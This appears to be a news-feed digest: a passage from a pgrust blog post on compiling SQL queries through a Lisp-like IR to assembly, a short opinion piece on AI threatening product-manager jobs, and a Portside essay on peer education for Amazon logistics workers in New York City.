WHERE URL LIKE '%google%'
GROUP BY UserID, m
ORDER BY COUNT(*) DESC
LIMIT 10;

Stage 1: The Postgres Plan

Gravity does not replace Postgres' parser or query planner. When the query arrives, the pgrust planner analyzes the table statistics and produces a standard query plan.

Limit (cost=... rows=10)
  -> Sort (Sort Key: count(*) DESC)
       -> HashAggregate (Group Key: userid, extract(minute FROM eventtime))
            -> Seq Scan on hits (Filter: (url ~~ '%google%'))

Stage 2: The Pipeline Graph

Next, Gravity takes the query plan and converts it into a “pipeline graph”. This is an intermediate representation that expresses how data will flow throughout the query execution. Each pipeline represents how a row is transformed and operated on throughout the query.

Here is a sketch of what the Pipeline graph looks like for our query:

graph pipelines=3 breakers=2 root=p2

p0 eligible end=breaker(slot=0 HashAgg)
  source range rel=hits am=pgrc
    lanes Attr(UserID):byval8 Attr(EventTime):byval8 Attr(URL):dict4
  filter like(URL, param0)
  project (key0=UserID, key1=extract_minute(EventTime), agg0=min(URL), agg1=count_star())

p1 serial end=breaker(slot=1 TopK)
  source breaker slot=0
  topk k=10 order=agg1:DESC

p2 serial end=sink
  source breaker slot=1
  project (UserID, m, min_url, count) -> wire

In this case, the query is split into three pipelines:

  • p0 takes the rows out of the hits table, filters for rows where the url contains “google”, and then inserts the rows into a hash table to calculate COUNT(*) and MIN(url) grouped by the user_id and minute of the event time
  • p1 takes the resulting hash table and puts them into a heap of size 10 to calculate the 10 groups with the highest COUNT(*)
  • p2 takes the resulting heap and pulls out the rows and sends them over the wire

Stage 3: The Lisp IR

Next, Gravity compiles each pipeline into a single function in our Lisp-based, assembly-like intermediate representation. Because the IR is general, we can fuse the scan, filter, projection, and aggregation inside p0 into whatever loop structure we want. Here’s a sample of the code for p0:

;; ── loop head: one trip per row ─────────────────────────────── (Seq Scan)
(block b210 ((v2574 i64) ...)                   ; v2574 = row index; loop state rides along as block params
  (v2585 (icmp slt v2574 v103))                 ; more rows in this batch?
  (condbr v2585 (b211) (b35 ...)))              ;   no -> fetch the next batch

(block b213 ((v2587 i64))                       ; ── read the row's columns ── (Seq Scan)
  (v2591 (ptr_add v105 v2587 8 0))              ; &EventTime[row]
  (v2592 (ptr_add v109 v2587 8 0))              ; &UserID[row]
  (v2593 (ptr_add v113 v2587 4 0))              ; &URL[row]   (dictionary code)
  (v2612 (loadz i32 v2593 0))                   ; ── WHERE URL LIKE '%google%' ── (Filter)
  (v2616 (load i64 (ptr_add v2605 (ushr v2612 6) 8 0)))
  (v2621 (iand (ushr v2616 (iand v2612 63)) 1)) ;   one bit per distinct URL
  ;; …                                          ;   row fails -> straight to the next row
  )

(block b227 ()                                  ; ── extract(minute FROM EventTime) ── (Projection)
  (v2695 (load i64 v2591 0))
  (v2711 (iadd v2695 211813660800000000))
  (v2715 (umulh (ushr v2711 10) 10746007285463371))
  (v2720 (isub v2711 (imul (ushr v2715 11) 3600000000)))
  (v2726 (ushr (imul (ushr v2720 8) 18764999) 42)) ; minute
  (v2732 (load i64 v2592 0))                    ; UserID
  ;; …
  )

(block b229 ()                                  ; ── GROUP BY UserID, m ── (HashAggregate)
  (v2897 (icmp eq v2576 v2732))                 ;   same UserID as the group in registers?
  (v2898 (icmp eq v2577 v2739))                 ;   same minute?
  (v2899 (iand v2897 v2898))
  (condbr v2901 (b249) (b250)))                 ;   no -> write it to the hash table (b250), start a new group

(block b249 ()                                  ; ── MIN(URL), COUNT(*) ── (HashAggregate)
  (v2903 (loadz i32 v2593 0))                   ;   this row's URL code
  (v2911 (icmp ule v2903 (iand v2581 4294967295)))
  (v2912 (select v2911 v2908 v2581))            ;   MIN: keep the smaller code
  (v2921 (iadd v2584 1))                        ;   COUNT(*) += 1
  (br b228 v2576 v2577 v2578 v2579 v12 v2912 v2913 v2915 v2921))

(block b228 (...)                               ; ── next row ──
  (br b214 ...))                                ; -> b214: row index + 1 -> back to b210

Stage 4: Assembly

Finally, we have backends for each target that compile the IR into assembly:

;; ── b210  loop head ─────────────────────────────────────────── (Seq Scan)
2b3c  cmp   x10, x24                 ; v2585 = row < rows_in_batch
2b40  b.lt  0x2b70                   ; condbr v2585 (b211) (b35)

;; ── b213  read the row's columns ───────────────────────────── (Seq Scan)
                                     ; v2591/v2592/v2593 (ptr_add) emit no instructions:
                                     ; they fold into the indexed loads below ([base, row, lsl #n])
2b8c  ldr   w6, [x27, x5, lsl #2]    ; v2612 = URL[row]            (loadz i32)

;; ── WHERE URL LIKE '%google%' ──────────────────────────────── (Filter)
2b90  lsr   x7, x6, #6               ;        code >> 6
2b94  ldr   x8, [x0, x7, lsl #3]     ; v2616 = words[code >> 6]
2b98  and   x0, x6, #0x3f            ;        code & 63
2b9c  lsr   x7, x8, x0               ;        word >> (code & 63)
2ba0  and   x7, x7, #0x1             ; v2621 = matched bit

;; ── b227  extract(minute FROM EventTime) ───────────────────── (Projection)
2e04  ldr   x1, [x25, x5, lsl #3]    ; v2695 = EventTime[row]
2e38  mov   x7, #0x2000              ;  ┐
2e3c  movk  x7, #0xfa8f, lsl #16     ;  │ constant 211813660800000000
2e40  movk  x7, #0x8366, lsl #32     ;  │
2e44  movk  x7, #0x2f0, lsl #48      ;  ┘
2e48  add   x1, x1, x7               ; v2711
2e4c  lsr   x7, x1, #10              ;        v2711 >> 10
2e50  mov   x8, #0xf94b              ;  ┐
2e54  movk  x8, #0xcb00, lsl #16     ;  │ constant 10746007285463371
2e58  movk  x8, #0x2d6f, lsl #32     ;  │
2e5c  movk  x8, #0x26, lsl #48       ;  ┘
2e60  umulh x7, x7, x8               ; v2715
2e64  lsr   x7, x7, #11              ;        v2715 >> 11   (hours)
2e68  mov   x8, #0xa400              ;  ┐ constant 3600000000
2e6c  movk  x8, #0xd693, lsl #16     ;  ┘
2e70  mul   x7, x7, x8               ;        hours * 3600000000
2e74  sub   x1, x1, x7               ; v2720 = µs into the hour
2e78  lsr   x1, x1, #8               ;        v2720 >> 8
2e7c  mov   x7, #0x54c7              ;  ┐ constant 18764999
2e80  movk  x7, #0x11e, lsl #16      ;  ┘
2e84  mul   x1, x1, x7
2e88  lsr   x1, x1, #42              ; v2726 = minute
2e9c  ldr   x0, [x26, x5, lsl #3]    ; v2732 = UserID[row]

;; ── b229  same group as the run in registers? ──────────────── (HashAggregate)
2eb0  cmp   x12, x0                  ; v2897 = run.UserID == UserID
2eb4  ccmp  x13, x1, #0x0, eq        ; v2898, v2899 = && run.minute == minute
2eb8  ccmp  x14, x6, #0x0, eq        ; v2901 = && run.flags == flags   (the third key compare, cut from the IR sample)
2ec8  b.ne  0x2efc                   ; condbr v2901 (b249) (b250)

;; ── b249  MIN(URL), COUNT(*) ───────────────────────────────── (HashAggregate)
2ecc  ldr   w7, [x27, x5, lsl #2]    ; v2903 = URL[row]   (loaded again)
2ed0  ldr   w8, [x19, #264]          ;  ┐ v2908 = (part << 32) | code
2ed4  orr   x0, x7, x8, lsl #32      ;  ┘   (the select's operand; its definition is cut from the IR sample)
2ed8  and   x8, x30, #0xffffffff     ;        v2581 & 0xFFFFFFFF   (run.min lives in x30)
2edc  cmp   x7, x8                   ;  ┐ v2911 = code <= run.min's code
2ee0  cset  x7, ls                   ;  ┘
2ee4  cmp   x7, #0x0                 ;  ┐ v2912 = select(v2911, v2908, v2581)
2ee8  csel  x30, x0, x30, ne         ;  ┘
2ef0  add   x4, x4, #0x1             ; v2921 = COUNT(*) + 1   (count lives in x4)
2ef8  b     0x337c                   ; br b228 …

;; ── b228 → b214  next row ──────────────────────────────────────
337c  mov   x18, #0x1                ; block argument v12 ("a run is open")
3380  add   x10, x10, #0x1           ; row + 1
3384  b     0x2b3c                   ; back to b210

Starting from the Bottom: Designing and Benchmarking the Lisp IR First

The first part of Gravity we built was the backends. We wanted to prove that our IR and code generator were actually capable of matching rustc -O3 before we built a SQL compiler on top of them. Once we had the Lisp IR and the backends working, we tested them by having Claude write optimized IR programs that mirrored the previous handwritten Rust code.

Benchmarking those hand-written IR programs gave us a huge piece of news: our Lisp IR compiled in under a millisecond and ran within 10% to 20% of the handwritten Rust code compiled by rustc. Even more importantly, across almost every query we tested, we didn't need to invent any fancy new IR instructions. The IR was expressive enough that the entire gap between our naive SQL engine and "light speed" came down to compiling SQL queries to the IR.

Teaching the Planner New Algorithms

When we compared Gravity against Claude's handwritten Rust across our query corpus, we found queries where the handwritten code was still orders of magnitude faster, not because of how it compiled the loop, but because it was running a fundamentally different algorithm. Even though we kept Postgres’ planner, standard Postgres plan nodes could not express the light-speed algorithms. We had to make sure our plans could encode them.

Across the queries we optimized, we found three algorithms we needed to add to the planner. All three algorithms are specific to a columnar format, so it makes sense that the Postgres planner can't support them. Keep in mind that for a columnar table, you usually specify a sort key, so the data is usually in an order that places similar values close to each other. The three algorithms:

  • ZoneWalk - For a query like ORDER BY … LIMIT n, Postgres would execute this either by using an index or by scanning the whole table. pgrcolumnar enables an additional way of executing the query. pgrcolumnar breaks the table into batches of 8192 rows called granules. Each granule has metadata that tracks the min and max values for that batch. Instead of scanning the whole table and sorting to find the top n rows, we use the min/max bounds to read the granules in order and stop as soon as n rows are resolved.
  • ZoneTopK - For a query with the shape GROUP BY ... LIMIT n, we can use an algorithm very similar to the ZoneWalk. Instead of scanning the entire table and hashing every row just to return n groups, we can use the metadata to walk the granules in order by the GROUP BY key. Once we have seen n complete groups whose maximum possible keys are below the minimum key of every remaining batch, we can stop scanning immediately. ClickHouse 26.10 has a similar optimization, enable_group_by_top_k_dynamic_filtering , which also requires complete groups.
  • TwoPass - For a query of the shape GROUP BY ... ORDER BY count(*) DESC LIMIT 10, if one of the columns in the group by has high cardinality, it can be faster to execute the query in two passes:
    1. Compute an upper bound on the size of each group by counting rows per key: SELECT unique_key, COUNT(*) ... GROUP BY unique_key
    2. Then go back and fetch only the groups whose upper bound is big enough that they could make the top 10

This works because the most expensive part of the query is the first pass. You’re able to save a lot of memory bandwidth by fetching only one column on the first pass and then fetching the rest on a second pass

All three of these plans were added as costed plans to the pgrust planner. At plan time, the planner estimates how many granules a walk will actually have to read before stopping, and only picks the rewrite if it is cheaper than the standard scan.

Now that our queries used the same algorithms as the light speed implementations and we knew our IR was fast enough to compile our query plans, the last step was compiling SQL to our IR.

Optimizing SQL→IR Compilation

For the SQL→IR compilation, all that mattered was how optimized we could make the IR. Because we used the same algorithms as the light-speed Rust programs, we could diff our code against the Rust code and see where the differences came from. This led to over 100 optimizations. Here’s three of them to give you a sense of what makes Gravity so fast.

1. Inlining Function Calls and Aggregates

In standard Postgres, evaluating a SQL function like extract(minute FROM EventTime) or updating an aggregate like AVG or MIN makes a function call through Postgres's function manager (fmgr) on every row. Making a function call once per row (or even once per small batch) completely destroys performance.

To fix this, we categorized all of Postgres's built-in functions into tiers and, for 238 core functions and aggregates, we directly inline them into our Lisp IR. A query with a COUNT(*) and SUM will instead look something like this:

(block b32 ()
  (v313 (load i64 v307 24))         ; load count from aggregate state
  (v314 (iadd v313 v194))           ; count + 1
  ((store v307 24 v314))
  (v315 (load i64 v307 32))         ; load sum from aggregate state
  (v316 (iadd v315 v309))           ; sum + val
  ((store v307 32 v316))
  (br b22 v197))

Benchmarking the performance of AVG, inlining dropped the loop from 392 instructions per row down to 120 instructions per row and made the query 2.56x faster.

2. Late Materialization

In our columnar format, text columns like URL are dictionary-encoded: each part of the table stores a dictionary of unique strings, and the rows themselves store integer codes into the dictionary.

Our early versions of Gravity decided how to emit IR for an expression based only on its SQL type (TEXT, INT4, NUMERIC). Because url has the SQL type TEXT, Gravity decoded the dictionary code into a string and copied it into every row. When we looked at Claude's handwritten Rust for these queries, it never touched strings inside the row loop. It used late materialization. It operated on the dictionary code for as long as possible and only materialized the actual string at the very end.

We redesigned Gravity so that every value is materialized as late as possible. When computing a filter such as url LIKE '%google%' on every row, the compiler emits a step that runs our heavily optimized substring matcher once per unique entry in the dictionary and creates a bitmap of which dictionary codes match the filter. By default, v0.4-beta keeps that bitmap in server memory, keyed by the filter with its constants and by the table part, so a later query with the same LIKE on unchanged data reuses it instead of running the matcher again. Setting pgrust.dict_filter_cache = off , or pgrust.condition_cache to granule or off , makes every query build its own.

To compute an aggregate like MIN(URL), Gravity doesn't compare strings per row. The compression dictionaries are sorted, so for two strings encoded from the same dictionary, the string with a smaller code is the smaller string. Because of this, when computing the minimum string within a range of rows compressed with the same dictionary, it becomes mostly integer comparison rather than string comparison.

3. Run Collapse in Registers

Even when our filter and expressions are inlined, probing a multi-key hash table on millions of rows is expensive.

When we compared Gravity’s output against Claude's handwritten Rust on GROUP BY ... queries, we noticed something interesting. In real-world tables, values for a column like UserID or event timestamps are often partially clustered on disk, meaning we frequently see runs of consecutive rows that belong to the exact same group. Claude's Rust code exploited this by keeping the current group's keys and running count in local variables (which rustc kept in CPU registers). As long as the next row had the same key as the previous row, it just incremented the counter in a register and only probed the hash table when the run ended. On a 100-million-row table, that collapsed 100 million hash table probes down to 22 million.

We modified Gravity to track the previous group key and probe the hash table only when a new group key is seen.

Making Sure It Generalizes

One challenge we had when building Gravity was there was a tendency for Claude to overfit the optimizations to our corpus queries. Often Claude would write the optimizations only for exactly the query we were benchmarking. If a user writes strpos(URL, 'google') > 0 instead of URL LIKE '%google%', or groups by a column wrapped in a Postgres DOMAIN type, a brittle pattern matcher will miss the fast path and silently fall back to slow code.

To counteract that, we made a catalog of every optimization. We then wrote a fuzzer that took a single optimization and tested it across many different query shapes. It would try a variety of types (int2, int4, int8, numeric, text, domain) group bys, and much more to confirm the optimization kicked in across many queries and not just one. Dan Luu wrote about how much testing goes into pgrust, which has also turned up real bugs in Postgres itself.

Where Gravity Stands Today

Designing our Lisp IR against handwritten Rust first, and then teaching Gravity to emit inlined, late-materialized, register-optimized IR, got us remarkably close to our "speed of light" target. Across a wide range of analytical queries, Gravity's runtime JIT compiles queries in under a millisecond and executes within 10% to 20% of the handwritten Rust code Claude wrote directly against our file format.

When we isolate the query engine by running the exact same pgrust binary over the exact same columnar table with Gravity turned on versus our Volcano row executor, Gravity is 102x faster cold and 499x faster hot, and runs as much as 3x faster than ClickHouse while supporting Postgres's full SQL dialect and type system. For anyone coming from Postgres: on ClickBench's c6a.4xlarge machine, pgrust v0.4-beta's combined score is more than 1,000x better than PostgreSQL 17's, and 1,365x better on cold runs.

If you want to dig into the Lisp IR, the TPDE backend, or the lowerer, you can check out the code and follow our regular commits at github.com/malisper/pgrust .

A note on our earlier v0.4-preview ClickBench entry: I wrote about what happened on Hacker News .

Product Managers aren't safe either

Hacker News
lucaskostka.com
2026-10-30 16:14:39
Comments...
Original Article

29/10/2026

AI is challenging most jobs, not just devs. And, to me, PM should seriously worrry.

Code spitters are cooked, let's be honest here and accept the fate so everyone can move on.

Architects aren't, because whatever the accuracy of any model, making it serves you need within the constraints of security + compliance + technical capabilities + budget + ... requires private data, interpersonal meetings and skills that make it hard or impossible to automate today.

genAI, to me, feels like the same threat as Instagram for professional photographs: 90% of photographs lost their moat against 16 yo taking pictures with their phones. The remaining 10% unlocked even more value because of their talent, that could not be copied.

Now, genAI is threatening devs in the same way: mediocre like me won't survive against 10x developers supercharged with AI (until they also get replaced by supercharged AI agents. But wait? Until they also get replaced by supercharged AI swarms with... bref!)

But it's not just devs, mind you! PMs are also severely endangered for the same reasons: when any PM can just prompt a feature, what happens when a dev prompt a feature too? It's up to you to think that PM are better equipped when it comes to understanding why a feature make sense than a developer. What's happening, though, and if you are doing things right, is that the same person coding a feature can also build PM intuition as to why this feature needs to be built at all. The latter comes from LLM. Because since code is cheap, there's more time to invest in understanding the customer pain point and the company solution (not just the soft: the design trade-offs, what were the assumptions 10 years ago versus today, etc...)

I grew up with the distinction of "tech guy" needs a "product guy". I am not dismissing it, I am just saying that the world is entering into a phase where both roles are eventually melting into a single function.

And that the product guy, whatever his seniority, should be seriously worried*unless he can demonstrate architecture skills, which is one of the last bastion of human intelligence.

For the sake of transparency, I am a programmer, I've developed data marketing products for the last four years before moving to Cloudflare to work on their, recently acquired, YC company Zaraz.

To close on a more personal note, that doesn't mean I am here to judge: the world is *definitely not* running the way I'd like regarding genAI usage and I am just afraid that "part" and then "our whole" profession disappear. I guess that PMs should be a little more self-aware and start consolidating skills that will work. Like analysing a text file, with a language that lets you do it in just 14 lines of codes

Mass Worker Education: Governing From the Shop Floor

Portside
portside.org
2026-10-30 16:11:09
Mass Worker Education: Governing From the Shop Floor Maureen gmail Fri, 10/30/2026 - 16:11 ...
Original Article

In Amazon’s vast logistics empire, warehouse workers and delivery drivers incur frequent injuries amid stringent performance monitoring and evaluation. 1 The best data we have indicate that many workers are interested in organizing to improve their conditions, yet the same infrastructure used to relentlessly boost productivity is deployed to suppress collective action. 2 Refusing to come to the table even when workers unionize, Amazon is looking to have traditional legal pathways for expressing worker voice abolished altogether—and its algorithmic systems given free rein. 3

Still, closer inspection reveals stirrings of dissent. Across Amazon’s global network, workers aware of their strategic position in the distribution process are contesting speedup and discipline. 4 Through their mastery of government regulations and the company’s own operating procedures, they are challenging productivity write-ups, refusing unsafe work, and teaching their peers how to navigate Amazon’s increasingly automated managerial systems. 5 They are developing a knowledge base that prefigures more democratic forms of shop-floor governance. 6

Not only are these emergent practices of peer education crucial for strategies of labor renewal, but they can inform a parallel question that has gained traction in the last year—the question of mass governance. 7 Amid a deepening global crisis of liberal democracy, the election of a socialist mayor in New York City (NYC) has generated interest in not only representing the interests of working-class people but, moreover, expanding opportunities for them to govern the city their labor makes run. Thus far, mass governance initiatives have focused on cultivating engagement at the neighborhood and borough levels, such as through rental ripoff hearings and participatory budgeting assemblies. 8 Meanwhile, the workplace remains an underexplored site. Though the Mamdani administration has begun expanding state capacities to enforce labor standards, less attention has been placed on the role that workers can play in this process. 9

[T]he election of a socialist mayor in New York City has generated interest in not only representing the interests of working-class people but, moreover, expanding opportunities for them to govern the city their labor makes run.

This essay builds a framework of mass governance out of workers’ daily struggles on the shop floor, focusing on peer education as a dual organizing and policy tool. Versed in legal rights, work processes, and relational dynamics, peer educators are uniquely positioned to cultivate shared insights about the harms stemming from employers’ exploitative practices and facilitate tactical experimentation aimed at eradicating these harms together with strategic reflection around transforming the power relations that give rise to them. We term this mode of engagement mass worker education : democratizing the production of knowledge in service of democratizing the production of goods and services. Recognizing the importance of intellectual exchange and political deliberation for worker empowerment, this framework envisions workers as not only enforcing labor standards but shaping them as well.

Following on the Mamdani administration’s expansion of resources for the NYC Department of Consumer and Worker Protection (DCWP), the essay considers leveraging this enhanced capacity to institutionalize a role for peer educators in implementing worker protections and building workplace organization. 10 As an exemplary case, we explore the idea of NYC establishing a mass worker education program in parcel shipping operations across the area. Administered in partnership with unions and community groups, the program would build training capacity among a corps of warehouse workers and parcel delivery drivers, 11 strengthening their role in enforcing new laws that address harmful industry practices and cultivating broader cultures of workplace safety. We also consider forms of partnership between NYC and New York State that could expand the scope and extend reach of this worker training and legal co-enforcement with increasingly non-union workforces. Last, we discuss how such a program could empower workers to participate in mass assemblies shaping policy development around data collection, deployment of new technologies, and other pressing concerns, helping pave the way toward mass sectoral governance.

Labor Standards Enforcement and the Role of Peer Education
Government agencies around the country are building partnerships with worker organizations to enforce labor standards. Drawing on the knowledge that workers have about their industries and specific worksites, these efforts in co-enforcement have achieved important gains in addressing legal violations. 12

At Amazon’s San Bernardino International Airport (KSBD) air hub in Southern California, for instance, workers organizing with Inland Empire Amazon Workers United have collected and shared information about the facility’s weak safety protections during extreme summer temperatures, leading to several government citations. 13 This work comes on the heels of over a decade of worker education and organizing that has raised consciousness around heat safety in the Inland Empire’s booming warehousing sector and contributed to the passage of statewide heat illness prevention standards. 14

In response to another acute threat faced by workers—the rapid deployment of artificial intelligence (AI) technologies—California, New York, and other states have also begun enforcing new quota transparency laws in the warehousing sector. In 2024, the California Labor Commission fined Amazon almost $6 million for violating Assembly Bill 701, which requires warehousing employers to provide written notice of quotas on which they are evaluated. 15 Here, too, worker knowledge and organization proved crucial to enforcement, with workers at ONT8 (Optical Network Terminal) and ONT9 fulfillment centers sharing information with the Labor Commissioner’s Office under the auspices of the California Strategic Enforcement Partnership. 16

Increasingly, Amazon is challenging these efforts at enforcing quota standards. In California, the company has appealed the Labor Commission’s citations by arguing that it does not use pre-determined quotas to evaluate workers, while in New York, workers report that management has been able to sidestep new quota provisions by evaluating workers on the basis of their relative productivity—a tactic that makes injured and pregnant workers especially vulnerable to heightened work intensity. 17

In maintaining its de facto quota system, Amazon insists that the data it collects on workflows and then uses to train computational systems constitutes proprietary information. Even in jurisdictions with strong data protections like Germany, the company refuses to give works councils (elected workplace bodies that represent employees’ interests to management) access to datasets and algorithms managed by engineers often hundreds or thousands of miles away from the worksite—the very measures that would enable frontline workers to intervene more directly in the technical processes that shape their working conditions. 18

Government agencies around the country are building partnerships with worker organizations to enforce labor standards.

In challenging the separation that capitalist production engenders between the conception and execution of labor, peer education offers a potential antidote. 19 At a recent workshop, workers from different Amazon divisions came together to analyze the impacts of AI and explore strategies for expanding worker voice in its design and deployment. 20 As a collective exercise in knowledge production, the gathering showed what may be possible if workers are empowered to disrupt hierarchical information flows in the workplace and policymaking arenas.

Highlighting worker knowledge for policymaking purposes suggests wider implications concerning the intersection of labor renewal and mass governance. For the most part, legislation aimed at supporting efforts to revitalize the labor movement (e.g., the Protecting the Right to Organize [PRO] Act) has been focused on making it easier for workers to organize. As necessary as these measures are for expanding the associational capacities of the working class, they are insufficient for expanding its governing capacities. Unions serve as a potentially politicizing force within the workplace, but they largely operate within legal frameworks that regularize collective bargaining while muting shop-floor contestation. 21 These frameworks not only enshrine capitalist control over production but also shift the task of governing away from workers’ daily struggles. Workers can try to influence the policy process either through union representatives appointed to tripartite structures or by lobbying elected officials.

Mass worker education challenges this distinction, emphasizing the agency of workers in more directly shaping and enforcing their rights on the shop floor. We draw inspiration from the factory councils of interwar Europe, experiments with autogestion (self-management) in decolonized Africa and Asia, and the cordones industriales (industrial belts) and comunas (communes) at the heart of socialist projects in Latin America. 22 More immediately, we look to occupational health movements that used peer education to expand popular sovereignty under a range of authoritarian politics of early neoliberalism. During the Brazilian military dictatorship, for instance, metalworkers used their firsthand knowledge of the sector’s acute injury crisis to expose the state’s cosmetic fixes, laying the groundwork for a disability rights movement that made key legislative advances after the fall of the junta. 23 In the Indian state of Chhattisgarh, mineworkers in the 1980s partnered with health professionals to train “barefoot doctors” and establish a people’s hospital that broke down hierarchies of expertise in the health sector. 24 Meanwhile, during the Reaganite offensive in the United States, worker movements within the United Auto Workers (UAW) and Oil, Chemical, and Atomic Workers Union (OCAW) used peer education to link health and safety organizing to broader questions of environmental justice. 25

Presently, we see this legacy extended by Amazon workers building power across the company’s global network. Through meetings organized by Amazon Workers International and other networks, worker representatives exchange information about hazardous work and bring this knowledge home to share with coworkers on the shop floor. 26 Moreover, in refusing unsafe work during the pandemic and other emergencies, Amazon workers have been articulating a common vision of making company operations safer for themselves and their communities. 27

These examples illustrate the openings that exist for workers to build shop-floor power and influence policy even in challenging conditions. Through spaces of collective experimentation and reflection, workers can confront the root of the harms they face—power relations embodied in the production process itself.

Instituting Mass Worker Education in NYC
In NYC, the Office of Labor Policy & Standards (OLPS), a division of the DCWP, has undertaken important legal enforcement measures in recent years. 28 For example, following the 2010 passage of the New York Domestic Workers’ Bill of Rights, OLPS convened focus groups with nannies, cleaners, and home health aides across the city to discuss violations and other issues. 29 A parallel set of efforts led to the 2017 formation of the We Rise Nanny Training program, through which a coalition of domestic worker organizations have partnered with the Worker Institute at Cornell University in developing a peer education program centering around rights awareness, workforce development, and organizing skills. 30 The coalition has since expanded the program to cover other sectors, training hundreds of nannies, cleaners, and home health aides, as well as day laborers and farmworkers. New research shows that NYC, with its strong enforcement of the Domestic Workers’ Bill of Rights, has seen major improvements in job quality indicators such as overtime relative to the rest of the state. 31

These experiences highlight the importance of not only responding to legal violations after they have occurred but also promoting organizing strategies that shift larger workplace cultures. A mass worker education program could support legal co-enforcement while also equipping workers with resources to exercise greater control over their conditions, addressing shop-floor challenges before they become acute.

To illustrate what such a program could look like, we return to the example of warehousing and parcel delivery. With its rapid expansion amid the ecommerce boom, the industry has attracted growing public concern over its impacts on workers, residents, and the environment. Amazon’s invasive deployments of AI and other digital technologies have received particular scrutiny, spurring wider discussion among consumers and workers across a variety of industries. Building on existing legislation and organizing in New York, a program of mass worker education could strengthen governance of warehousing and parcel delivery and serve as a model for other industries.

[T]he state and city could follow the example of work-sharing agreements between government agencies, establishing co-enforcement powers between NYS Department of Labor (DOL) and NYC DCWP that promote accountability for serial law breakers and discourage harmful employer behaviors.

Legislation passed at the state level over the past five years regulates production quotas and mandates that employers implement injury reduction plans. 32 In 2025, worker and advocacy groups in New Yorkers for a Fair Economy (NYFE)—a coalition convened by the Alliance for a Greater New York (ALIGN)—turned attention to the question of how to implement this legislation effectively. Amazon Labor Union-International Brotherhood of Teamsters Local 1 (ALU-IBT Local 1), representing 5,000 workers at the JFK8 fulfillment center in Staten Island, focused on raising awareness of these laws as part of its safety campaign. 33 Following several worker summits and stakeholder meetings, ALU-IBT Local 1 partnered with the Athena Coalition and National Employment Law Project (NELP) to pilot a training around laws relevant to advancing health and safety in the workplace, body and hazard mapping, and formation of workplace safety committees. 34 With support from the Consortium for Worker Education (CWE), ALU-IBT Local 1 has carried out additional training with shop-floor leaders and is building a training center near JFK8.

At the city level, the NYFE coalition is currently mobilizing in support of the Delivery Protection Act (DPA), introduced by NYC Council Member Tiffany Cabán in September 2025. The legislation would require operators of last-mile delivery facilities to obtain business licenses from DCWP and directly hire delivery drivers (including those who have unionized with Teamsters Local 804 at Amazon delivery facilities DBK4 and DBK1 in Queens) rather than misclassifying them as independent contractors. 35 Importantly, the legislation would require employers to grant access to an independent certified organization to conduct safety and rights training with workers and managers. Drawing on a recent study commissioned by the NYC Comptroller’s office that shows an increase in traffic crashes and injuries in areas near last-mile delivery facilities like the ones in Maspeth, Queens, advocates argue that promoting the safety of workers would also help to safeguard residents. 36 “The impact goes far beyond us,” according to Luc Rene, an Amazon Teamster based at DBK4. “The endless churn of underpaid drivers creates congestion, pollution, and wear on city streets.” 37 If the bill passes, DCWP could partner with members of the NYFE coalition to develop a co-enforcement strategy that builds on work around recent state laws.

[A]n infrastructure of mass worker education could amplify the capacity of frontline workers to meaningfully shape policy.

Focusing on the training provision, we draw on an insight common among many evaluations of union education programs, which shows that workers more readily incorporate lessons received through peer education as opposed to other forms of pedagogy. 38 A particularly instructive example comes from a peer education program developed to address sexual harassment and violence in California’s janitorial industry, where a coalition of labor and anti-violence organizations created a framework for anti-sexual harassment training by peer educators, known as promotoras , for janitorial workers across the state. 39 The coalition, which included worker leaders, saw that managers and supervisors often enable or enact harmful behaviors themselves, and determined that trained janitors—particularly survivors of sexual violence—were best positioned to educate their peers about relevant rights and strategies. Coalition members went on to support the creation of the Ya Basta Center in Los Angeles, which has trained hundreds of janitor promotoras to provide peer training in workplaces across California. Drawing on trauma-informed methods originally developed by the East Los Angeles Women’s Center, janitor promotoras facilitate spaces where workers can establish the trust needed to share their stories. These healing spaces have given janitors the confidence to stand with each other in the workplace and speak up against harassment, often joining fights around other issues like wage theft as well. 40

In New York, collaborating with DCWP and with support from organizations such as CWE, members of the NYFE coalition could set up a training program akin to the promotora program in California. Focusing initially on enforcement of the DPA, the program could prepare a core of last-mile delivery drivers and warehouse workers—including those engaging with local unions—to deliver training around issues of misclassification and safety addressed by the legislation. Like the promotora model, employers across this industry would be required to grant access to peer educators, enabling the program to cover non-union workforces as well. Through program evaluation, the city could develop an evidence base showing whether and how peer training impacts worker awareness of legal rights and the sense of efficacy workers have in exercising these rights. Drawing on the city’s increasing agency capacities as well as its growing movement of labor and community groups targeting Amazon’s abuses, 41 such work could evolve into the development of a training center like the Ya Basta Center.

Over time, building on emergent city-state partnerships around childcare and other issues, a peer education program could train a corps of warehouse workers and parcel delivery drivers in promoting awareness and enforcement of the right to organize as well as health and safety laws that Amazon and other employers have been known to violate. Given employers’ use of tech-enabled worker surveillance strategies to enforce unsustainable work rates and impede worker responses, peer educators could draw connections between these individual and collective forms of disempowerment. By bringing together workers from different parts of the logistics sector, a mass worker education program could generate broader knowledge about the infrastructures undergirding harmful practices and foster dialogue about strategies for building worker voice across the supply chain. Moreover, linking worker and community safety, the program could also generate support for other legislative efforts. 42

As big tech and other corporate actors seek greater control over nearly every aspect of economic, social, and political life, the Mamdani administration has an historic opportunity to create agile policy mechanisms that can respond to this rapidly shifting terrain—moving from the shop floor up.

A partnership between the city and state could assist with the development of this program in multiple respects. First, Albany could generate revenue for the peer education training center by imposing a “robot tax” on Amazon and other corporations investing in high levels of automation. 43 Second, implementing and refining a peer education program at the city level would serve as a test case before expanding its reach across New York State. In California, labor and anti-violence groups leveraged a rich movement ecosystem in Los Angeles, the historic birthplace of the Justice for Janitors campaign, toward establishing the Ya Basta Center as a base for strengthening statewide rights enforcement. A peer education training center based in NYC could serve a similar function. 44 Last, and most ambitiously, the state and city could follow the example of work-sharing agreements between government agencies, 45 establishing co-enforcement powers between NYS Department of Labor (DOL) and NYC DCWP that promote accountability for serial law breakers and discourage harmful employer behaviors. For instance, current state law mandates annual worksite evaluations by state-appointed industrial hygienists (government officials who identify and control workplace hazards to protect public health). Employers are then required to take concrete steps to address whatever ergonomic risk factors are identified in the evaluations, but it has not been specified what steps employers would need to take to comply. Establishing co-enforcement powers between NYS DOL and NYC DCWP would enable the city government to work with unions and other partners in establishing participatory structures. 46

From the Shop Floor to the Assembly
